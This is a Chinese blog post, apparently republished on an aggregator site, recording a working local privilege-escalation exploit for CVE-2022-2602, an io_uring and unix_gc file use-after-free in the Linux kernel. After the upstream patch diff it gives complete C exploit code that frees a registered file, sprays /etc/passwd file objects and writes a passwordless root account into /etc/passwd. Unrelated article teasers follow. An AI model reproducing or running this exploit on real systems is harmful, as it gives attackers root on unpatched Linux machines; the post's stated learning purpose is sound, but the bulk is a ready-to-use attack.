CVE-2022-2602:unix_gc 错误释放 io_uring 注册的文件从而导致的 file UAF

前言

复现该漏洞只是为了学习相关知识,在这里仅仅做简单记录下 exp,关于漏洞的详细内容请参考其他文章,最后在 v5.18.19 内核版本上复现成功,v6.0.2 复现失败

漏洞利用

diff --git a/include/linux/skbuff.h b/include/linux/skbuff.h
index 9fcf534f2d9272..7be5bb4c94b6d8 100644
--- a/include/linux/skbuff.h
+++ b/include/linux/skbuff.h
@@ -803,6 +803,7 @@ typedef unsigned char *sk_buff_data_t;*	@csum_level: indicates the number of consecutive checksums found in*		the packet minus one that have been verified as*		CHECKSUM_UNNECESSARY (max 3)
+ *	@scm_io_uring: SKB holds io_uring registered files*	@dst_pending_confirm: need to confirm neighbour*	@decrypted: Decrypted SKB*	@slow_gro: state present at GRO time, slower prepare step required
@@ -982,6 +983,7 @@ struct sk_buff {#endif__u8			slow_gro:1;__u8			csum_not_inet:1;
+	__u8			scm_io_uring:1;#ifdef CONFIG_NET_SCHED__u16			tc_index;	/* traffic control index */
diff --git a/io_uring/rsrc.c b/io_uring/rsrc.c
index 6f88ded0e7e564..012fdb04ec238e 100644
--- a/io_uring/rsrc.c
+++ b/io_uring/rsrc.c
@@ -855,6 +855,7 @@ int __io_scm_file_account(struct io_ring_ctx *ctx, struct file *file)UNIXCB(skb).fp = fpl;skb->sk = sk;
+		skb->scm_io_uring = 1;skb->destructor = unix_destruct_scm;refcount_add(skb->truesize, &sk->sk_wmem_alloc);}
diff --git a/net/unix/garbage.c b/net/unix/garbage.c
index d45d5366115a76..dc276354039321 100644
--- a/net/unix/garbage.c
+++ b/net/unix/garbage.c
@@ -204,6 +204,7 @@ void wait_for_unix_gc(void)/* The external entry point: unix_gc() */void unix_gc(void){
+	struct sk_buff *next_skb, *skb;struct unix_sock *u;struct unix_sock *next;struct sk_buff_head hitlist;
@@ -297,11 +298,30 @@ void unix_gc(void)spin_unlock(&unix_gc_lock);+	/* We need io_uring to clean its registered files, ignore all io_uring
+	 * originated skbs. It's fine as io_uring doesn't keep references to
+	 * other io_uring instances and so killing all other files in the cycle
+	 * will put all io_uring references forcing it to go through normal
+	 * release.path eventually putting registered files.
+	 */
+	skb_queue_walk_safe(&hitlist, skb, next_skb) {
+		if (skb->scm_io_uring) {
+			__skb_unlink(skb, &hitlist);
+			skb_queue_tail(&skb->sk->sk_receive_queue, skb);
+		}
+	}
+/* Here we are. Hitlist is filled. Die. */__skb_queue_purge(&hitlist);spin_lock(&unix_gc_lock);+	/* There could be io_uring registered files, just push them back to
+	 * the inflight list
+	 */
+	list_for_each_entry_safe(u, next, &gc_candidates, link)
+		list_move_tail(&u->link, &gc_inflight_list);
+/* All candidates should have been detached by now. */BUG_ON(!list_empty(&gc_candidates));

unix_gc 错误释放 io_uring 注册的文件导致的 file UAF

exp 如下:

#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/wait.h>
#include <semaphore.h>
#include <poll.h>
#include <sched.h>
#include <liburing.h>
#include <assert.h>void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}void prepare() {system("touch /tmp/dummy");system("chmod 777 /tmp/dummy");
}static int run_wait_lock = 0;
void* slow_write() {#define PAGE_SIZE 0x1000#define WRITE_PAGE_NUMS 0x3333puts("[+] Start in slow_write");int fd = open("/tmp/dummy", O_RDWR);if (fd < 0) err_exit("FAILED to open /tmp/dummy");uint64_t start_addr = 0x30000000;uint64_t write_len = (WRITE_PAGE_NUMS - 1) * PAGE_SIZE;uint64_t i;for (i = 0; i < WRITE_PAGE_NUMS; i++) {void *addr = mmap((void*)(start_addr+i*PAGE_SIZE), PAGE_SIZE,PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);if (addr == MAP_FAILED) err_exit("mmap");}assert(i > 0);struct iovec iovs[20];for (i = 0; i < 20; i++) {iovs[i].iov_base = (void*)start_addr;iovs[i].iov_len = (WRITE_PAGE_NUMS - 1) * PAGE_SIZE;}puts("[+] Occupying inode lock");run_wait_lock = 1;if (writev(fd, iovs, 20) < 0) {err_exit("write");}close(fd);puts("[+] End in slow_write");puts("[+] Waiting for 10 senonds");sleep(10);exit(0);
}void sendfd(int sfd, int fd) {struct msghdr msg;char control_buf[4096] = { 0 };struct cmsghdr* cmsg;int fds[1] = { fd };memset(&msg, 0, sizeof(msg));msg.msg_control = control_buf;msg.msg_controllen = sizeof(control_buf);cmsg = CMSG_FIRSTHDR(&msg);cmsg->cmsg_level = SOL_SOCKET;cmsg->cmsg_type = SCM_RIGHTS;cmsg->cmsg_len = CMSG_LEN(sizeof(fds));memcpy(CMSG_DATA(cmsg), &fds, sizeof(fds));msg.msg_controllen = CMSG_SPACE(sizeof(fds));sendmsg(sfd, &msg, 0);
}int main() {int s[2];int rfd[2];int io_uring_fd;pthread_t thr1;struct io_uring_sqe* sqe;struct io_uring ring;struct stat st;struct iovec iov[1];int fds[300];int i = 0;bind_core(0);prepare();for (i = 0; i < 300; i++) {if ((fds[i] = open("/etc/passwd", O_RDONLY)) < 0)err_exit("open /etc/passwd");}stat("/etc/passwd", &st);int size = 0;int orig_size = st.st_size;/* hacker::0:0:/root:/root:/bin/sh\n */iov[0].iov_base = "hacker::0:0:/root:/root:/bin/sh\n";iov[0].iov_len = strlen(iov[0].iov_base);// s[0]         ref_count = 1// s[1]         ref_count = 1if (socketpair(AF_UNIX, SOCK_DGRAM, 0, s) < 0) err_exit("sockerpair");// s[0]         ref_count = 1// s[1]         ref_count = 1// io_uring_fd  ref_count = 1// rfd[1]       ref_count = 1io_uring_queue_init(32, &ring, IORING_SETUP_SQPOLL);sqe = io_uring_get_sqe(&ring);printf("[+] sqe: %p\n", sqe);io_uring_fd = ring.ring_fd;printf("[+] io_uring_fd: %d\n", io_uring_fd);if (io_uring_fd < 0) err_exit("io_uring_queue_init");rfd[0] = s[1];rfd[1] = open("/tmp/dummy", O_RDWR|O_APPEND);// s[0]         ref_count = 1// s[1]         ref_count = 2   inflight = 1// io_uring_fd  ref_count = 1// rfd[1]       ref_count = 2// io_uring.sk_recvive_queue -> rfd {s[1], rfd[1]}io_uring_register_files(&ring, rfd, 2);sqe->opcode = IORING_OP_WRITEV;sqe->fd = 1;sqe->addr = (long long)iov;sqe->len = 1;sqe->flags = IOSQE_FIXED_FILE;// s[0]         ref_count = 1// s[1]         ref_count = 2   inflight = 1// io_uring_fd  ref_count = 1// rfd[1]       ref_count = 1// io_uring.sk_recvive_queue -> rfd {s[1], rfd[1]}close(rfd[1]);// s[0]         ref_count = 1// s[1]         ref_count = 2   inflight = 1// io_uring_fd  ref_count = 2   inflight = 1// rfd[1]       ref_count = 1// io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}// s[1].sk_receive_queue     -> io_uring_fdsendfd(s[0], io_uring_fd);// s[0]         ref_count = 0 ==> free// s[1]         ref_count = 1   inflight = 1// io_uring_fd  ref_count = 2   inflight = 1// rfd[1]       ref_count = 1// io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}// s[1].sk_receive_queue     -> io_uring_fdclose(s[0]);close(s[1]);// 占据 inode 锁pthread_create(&thr1, NULL, slow_write, NULL);// writev 等待 inode 锁while (!run_wait_lock) {}sleep(2);io_uring_submit(&ring);// s[0]         ref_count = 0 ==> free// s[1]         ref_count = 1   inflight = 1// io_uring_fd  ref_count = 1   inflight = 1// rfd[1]       ref_count = 1// io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}// s[1].sk_receive_queue     -> io_uring_fdio_uring_queue_exit(&ring);puts("[+] Triggering unix_gc");// 触发 unix_gc// s[0]         ref_count = 0 ==> free// s[1]         ref_count = 1   inflight = 1// io_uring_fd  ref_count = 1   inflight = 1// rfd[1]       ref_count = 1// io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}// s[1].sk_receive_queue     -> io_uring_fd// 此时 rfd[1] 被错误的释放 ==> rfd[1]sleep(2);for (i = 0; i < 150; i++) {close(fds[i+2]);}close(socket(AF_UNIX, SOCK_DGRAM, 0));puts("[+] unix_gc done");puts("[+] Spray /etc/passwd file");// 打开大量 /etc/passwd 去占据 uaf_filefor (i = 0; i < 700; i++) {if (open("/etc/passwd", O_RDONLY) < 0) {printf("[X] Error at %d\n", i);err_exit("FAILED to spray file");}}// 等待 writev 获取 inode 锁,从而写 /etc/passwd// 当 /etc/passwd 文件大小发送变化时,说明成功向 /etc/passwd 写入恶意数据puts("[+] Waiting for overwriting /etc/passwd");while (orig_size == st.st_size) {stat("/etc/passwd", &st);size = st.st_size;sleep(1);}puts("[+] su hacker to get root");return 0;
}

效果如下:
在这里插入图片描述

参考文章

[漏洞分析] CVE-2022-2602 io_uring UAF内核提权详细解析
【kernel exploit】CVE-2022-2602垃圾回收错误释放iouring的file导致UAF

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/318815.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

保存钉钉群直播回放下载:直播回放下载步骤详解

今天&#xff0c;我们就来拨开云雾&#xff0c;揭开保存钉钉群直播回放的神秘面纱。教会你们如何下载钉钉群直播回放 首先用到的工具我全部打包好了&#xff0c;有需要的自己下载一下 钉钉群直播回放工具下载&#xff1a;https://pan.baidu.com/s/1WVMNGoKcTwR_NDpvFP2O2A?p…

从零开始学AI绘画,万字Stable Diffusion终极教程(一)

【第1期】SD入门 2022年8月&#xff0c;一款叫Stable Diffusion的AI绘画软件开源发布&#xff0c;从此开启了AIGC在图像上的爆火发展时期 率先学会SD的人&#xff0c;已经挖掘出了越来越多AI绘画有趣的玩法 从开始的AI美女、线稿上色、真人漫改、头像壁纸 到后来的AI创意字、AI…

M2 Mac mini跑Llama3

前言 在4-19左右&#xff0c;Meta 宣布正式推出下一代开源大语言模型 Llama 3&#xff1b;共包括 80 亿和 700 亿参数两种版本&#xff0c;号称 “是 Llama 2 的重大飞跃”&#xff0c;并为这些规模的 LLM 确立了新的标准。实际上笔者早就体验过&#xff0c;只不过自己电脑没什…

在家连学校的服务器

在家连接学校的服务器。 Step1: 首先下载一个vscode的插件 Visual Studio Code - Code Editing. Redefined 我的服务区是ubuntu20.04&#xff0c;x64的&#xff0c;所以下载这个。 Step2: 下载到本地之后&#xff0c;想办法将这个文件拷贝到你的服务器上。 Step3: 解压该包…

自动化滇医通

###我已经将数据爬取出来### 现在开源集合大家的思路一起研究 &#xff08;请更换ip 以及 暂停时间 不然会提示违规操作&#xff09; 脚本读取预约信息后开始随机抢一家的&#xff0c;qiang方法里面请自行修改抓包数据参数&#xff01;&#xff01; 现在开源大家一起讨论 pyt…

3.【Orangepi Zero2】超声模块ultrasonic(HC-SR04)

超声模块ultrasonic&#xff08;HC-SR04&#xff09; HC-SR04 超声波距离传感器如何工作&#xff1f;程序实现初始化超声波启动超声波获取距离整合代码 HC-SR04 超声波距离传感器如何工作&#xff1f; 当Trig引脚设置为高电平达 10s 时&#xff0c;超声波距离传感器开始工作。…

Java进阶-Java Stream API详解与使用

本文全面介绍了 Java Stream API 的概念、功能以及如何在 Java 中有效地使用它进行集合和数据流的处理。通过详细解释和示例&#xff0c;文章展示了 Java Stream API 在简化代码、提高效率以及支持函数式编程方面的优势。文中还比较了 Java Stream API 与其他集合处理库的异同&…

通过符号程序搜索提升prompt工程

原文地址&#xff1a;supercharging-prompt-engineering-via-symbolic-program-search 通过自动探索​​大量提示变体来找到更好的提示 2024 年 4 月 22 日 众所周知&#xff0c;LLMs的成功在很大程度上仍然取决于我们用正确的指导和例子来提示他们的能力。随着新一代LLMs变得越…

微信小程序demo-----制作文章专栏

前言&#xff1a;不管我们要做什么种类的小程序都涉及到宣传或者扩展其他业务&#xff0c;我们就可以制作一个文章专栏的页面&#xff0c;实现点击一个专栏跳转到相应的页面&#xff0c;页面可以有科普类的知识或者其他&#xff0c;然后页面下方可以自由发挥&#xff0c;添加联…

【Android学习】简易计算器的实现

1.项目基础目录 新增dimens.xml 用于控制全部按钮的尺寸。图片资源放在drawable中。 另外 themes.xml中原来的 <style name"Theme.Learn" parent"Theme.MaterialComponents.DayNight.DarkActionBar">变为了&#xff0c;加上后可针对button中增加图片…

禄得可转债自定义因子交易系统,年化40%,最大回撤15%

经过2个月的研究&#xff0c;和大佬们讨论轮动算法&#xff0c;选股算法&#xff0c;终于完成了可转债自定义因子轮动系统&#xff0c;非常感谢禄得老师的数据 文件链接 禄得可转债自定义因子交易系统&#xff0c;年化40%,最大回撤15% (qq.com) 网页 https://lude.cc/ 程序支…

【云原生】Docker 实践(四):使用 Dockerfile 文件的综合案例

【Docker 实践】系列共包含以下几篇文章&#xff1a; Docker 实践&#xff08;一&#xff09;&#xff1a;在 Docker 中部署第一个应用Docker 实践&#xff08;二&#xff09;&#xff1a;什么是 Docker 的镜像Docker 实践&#xff08;三&#xff09;&#xff1a;使用 Dockerf…

【简单介绍下Faiss原理和使用】

&#x1f3a5;博主&#xff1a;程序员不想YY啊 &#x1f4ab;CSDN优质创作者&#xff0c;CSDN实力新星&#xff0c;CSDN博客专家 &#x1f917;点赞&#x1f388;收藏⭐再看&#x1f4ab;养成习惯 ✨希望本文对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提出…

Xamarin.Android项目使用ConstraintLayout约束布局

Xamarin.AndroidX.ConstraintLayout Xamarin.Android.Support.Constraint.Layout Xamarin.AndroidX.ConstraintLayout.Solver Xamarin.AndroidX.DataBinding.ViewBinding Xamarin.AndroidX.Legacy.Support.Core.UI Xamarin.AndroidX.Lifecycle.LiveData ![在这里插入图片描述]…

封装umi-request时通过 AbortController 配置取消请求

一、关键部分 一、在封装的request.ts中 声明一个 abortControllers 对象用于存储要取消的请求&#xff08;我用了-s表示复数&#xff0c;多个abortcontroller对象&#xff0c;与下面&#x1f447;的单个abortController区分&#xff09;封装取消请求的函数cancelRequest, 传入…

机器学习:深入解析SVM的核心概念【一、间隔与支持向量】

直接阅读原始论文可能有点难和复杂&#xff0c;所以导师直接推荐我阅读周志华的《西瓜书》&#xff01;&#xff01;然后仔细阅读其中的第六章&#xff1a;支持向量机 间隔与支持向量 **问题一&#xff1a;什么叫法向量&#xff1f;为什么是叫法向量**什么是法向量&#xff1f;…

.NET操作 Access (MSAccess)

注意&#xff1a;新项目推荐 Sqlite &#xff0c;Access需要注意的东西太多了&#xff0c;比如OFFICE版本&#xff0c;是X86还是X64 连接字符串 ProviderMicrosoft.ACE.OleDB.15.0;Data Source"GetCurrentProjectPath"\\test.accdb//不同的office版本 连接字符串有…

【Transformer系列(4)】基于vision transformer(ViT)实现猫狗二分类项目实战

文章目录 一、vision transformer&#xff08;ViT&#xff09;结构解释二、Patch Embedding部分2.1 图像Patch化2.2 cls token2.3 位置编码&#xff08;positional embedding&#xff09; 三、Transformer Encoder部分(1) Multi-head Self-Attention(2) encoder block 四、head…

小程序账号设置以及request请求的封装

一般开发在小程序时&#xff0c;都会有测试版和正式版&#xff0c;这样在开发时会比较方便。 在开发时。产品经理都会给到测试账号和正式账号&#xff0c;后端给的接口也都会有测试环境用到的接口和正式环境用到的接口。 这里讲一讲我这边如何去做的。 1.在更目录随便命名一…

langchain+qwen1.5-7b-chat搭建本地RAG系统

概念 检索增强生成(Retrieval Augmented Generation, RAG)是一种结合语言模型和信息检索的技术,用于生成更准确且与上下文相关的输出。 通用模型遇到的问题,也是RAG所擅长的: 知识的局限性: RAG 通过从知识库、数据库、企业内部数据等外部数据源中检索相关信息,将其注…